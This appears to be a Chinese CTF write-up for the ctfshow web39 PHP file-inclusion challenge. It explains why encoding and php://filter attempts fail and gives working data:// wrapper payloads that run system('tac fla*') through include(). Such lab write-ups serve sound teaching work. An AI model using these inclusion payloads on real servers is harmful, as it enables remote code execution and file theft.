文件包含之include-ctfshow-web39

记录一下自己的思路和正确的解法

一、代码如下,主要逻辑就是传参、拼接、包含。

php 复制代码
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

二、自己的思路

1、url编码:?c=%66%6C%61%67。行不通,因为php接收到之后会进行解码处理得到字符串flag,过滤掉了。双重编码也是一样的。

2、filter伪协议:/?c=php://filter/read=convert.base64-encode/resource=flag。

这个折腾了好久,主要原因是当输入这个时,实际上被执行的代码是

php 复制代码
include("php://filter/.../resource=flag.php");

php://filter 协议会去读取 flag.php 这个文件,并将其内容进行 Base64 编码输出。(PD9waHAgcGhwaW5mbygpOw==)然后include函数去执行这个字符串,但是这个字符串不是合法的PHP代码,出现解析错误。也就是说,你把"钥匙"(Base64 编码)给了服务器,服务器用这把钥匙开锁后,发现里面还有一把锁(乱码),它不知道怎么处理,就报错了。你需要的是直接让服务器把"钥匙"显示给你看,而不是让它去执行"钥匙"。

3、data伪协议:?c=data://text/plain;base64,ZmxhZw==

跟上面一样,还是对include函数的理解有误。include() 是用来执行代码的,而不是用来显示文本内容的。传入的 base64 解码后是 flag,这只是一个字符串,PHP 执行它时不会有任何输出,它也不是一个文件路径。实际上执行的是

php 复制代码
include("data://text/plain;base64,flag");

相当于是让php去执行代码flag,这是flag既不是命令,也不是函数,也不是变量,无法执行。

4、正确的解法,需要让 PHP 去执行 能读取文件的命令(如 system())。最终payload:

php 复制代码
data://text/plain,<?=system('tac fla*');?>
或者
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
  • 含义:包含并执行 <?=system('tac f*');?> 这段代码。
  • 这段代码会主动去读取 flag.php 的内容,并打印到屏幕上
  • 虽然代码末尾会拼接 .php(变成 data://...?>.php),但 data:// 协议在处理流数据时,通常会忽略末尾的 .php 后缀,或者将其视为数据流的一部分而不影响前面代码的执行
相关推荐
kali-Myon2 天前
分享一个网络安全 AI 工具导航项目 SecSkills
安全·ai·github·ctf
蒲公英eric3 天前
从旧接口泄露到 OAuth 保护:DVWA API 模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·api模块
白猫不黑3 天前
CTF是什么?从零理解一场攻防竞赛
网络·web安全·计算机·网络安全·信息安全·ctf·红蓝对抗
玫幽倩4 天前
2026第二届湾区杯网络安全大赛决赛(AI专项赛道静态题wp)
pytorch·python·ai·agent·ctf·rag·湾区杯
落寞的魚丶7 天前
2026年浙江省信息通信业职业技能竞赛(信息安全测试员竞赛) 初赛Wireup
ctf·鱼影安全·2026网络安全通信行业·信息安全测试员竞赛·通信职业技能大赛
合天网安实验室11 天前
Modbus协议及其取证的学习笔记
ctf·modbus·通信协议·取证
努力的lpp12 天前
php反序列化一(大白话版)
开发语言·web安全·php·ctf·反序列化
蒲公英eric12 天前
从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·开放重定向模块
蒲公英eric14 天前
从页面检查到功能验证:DVWA 授权绕过模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·授权绕过模块
Sagittarius_A*15 天前
[LitCTF 2026] lit_elgamal_handshake
密码学·ctf·crypto·elgamal